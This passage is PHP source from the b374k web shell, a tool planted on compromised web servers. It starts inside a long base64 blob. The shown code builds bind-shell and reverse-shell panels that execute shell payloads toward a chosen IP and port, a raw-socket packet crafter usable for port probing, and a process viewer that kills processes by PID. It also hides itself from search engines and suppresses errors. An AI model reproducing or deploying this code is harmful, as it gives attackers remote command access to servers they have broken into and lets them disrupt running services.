b8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="; $GLOBALS['module']['network']['id'] = "network"; $GLOBALS['module']['network']['title'] = "Network"; $GLOBALS['module']['network']['js_ontabselected'] = ""; $GLOBALS['module']['network']['content'] = " <table class='boxtbl'> <thead> <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr> </thead> <tbody> <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr> <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr> </tbody> <tfoot> <tr> <td style='width:144px;'> <select id='bindLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr> </tfoot> </table> <br> <table class='boxtbl'> <thead> <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr> </thead> <tbody> <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr> <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr> </tbody> <tfoot> <tr> <td style='width:144px;'> <select id='backLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr> </tfoot> </table> <br> <table class='boxtbl'> <thead> <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr> </thead> <tbody> <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> </tbody> <tfoot> <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1
</textarea></td></tr> <tr> <td> <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan='2'><div id='packetResult'></div></td></tr> </tfoot> </table> "; if(isset($p['rsLang']) && isset($p['rsArgs'])){ $rsLang = $p['rsLang']; $rsArgs = $p['rsArgs']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "?><?php \$target = \"".$rsArgs."\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ $packetHost = trim($p['packetHost']); if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p['packetPort']; $packetTimeout = (int) $p['packetTimeout']; $packetSTimeout = (int) $p['packetSTimeout']; $packetContent = $p['packetContent']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("
","
"), "", $packetContent); $packetContent = str_replace(array("
","
"), array("
", "
"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class='weak'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."
"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res); } ?><?php $GLOBALS['module']['processes']['id'] = "processes"; $GLOBALS['module']['processes']['title'] = "Processes"; $GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();"; $GLOBALS['module']['processes']['content'] = ""; if(!function_exists('show_processes')){ function show_processes(){ $output = ''; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\",\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)=='') return false; else{ $output .= "<table id='psTable' class='dataView sortable'>"; if(!is_win()) $res = preg_replace('#\ +#',' ',$res); $psarr = explode("
",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=''){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\""); $tblcount = 0; $output .= "<tr data-pid='".$pid."'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>"; else $output .= "<td style='text-align:center;'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>"; } return $output; } } if(isset($p['showProcesses'])){ $processes = show_processes(); if($processes!==false) output($processes); output('error'); } elseif(isset($p['allPid'])){ $allPid = explode(" ", $p['allPid']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,'9')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("
", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output('error'); } ?><?php
$error = @ob_get_contents();
$error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("
", "
", html_safe($error))."</pre>":"";
@ob_end_clean();
error_reporting(0);
@ini_set('display_errors','0');
?><!doctype html>
<html>
<head>
<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
<meta charset='utf-8'>
<meta name='robots' content='noindex, nofollow, noarchive'>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
<style type="text/css">
@font-face {
font-family:'ubuntumono';
src:url(data:application/x-font-woff;charset=utf-8;base64,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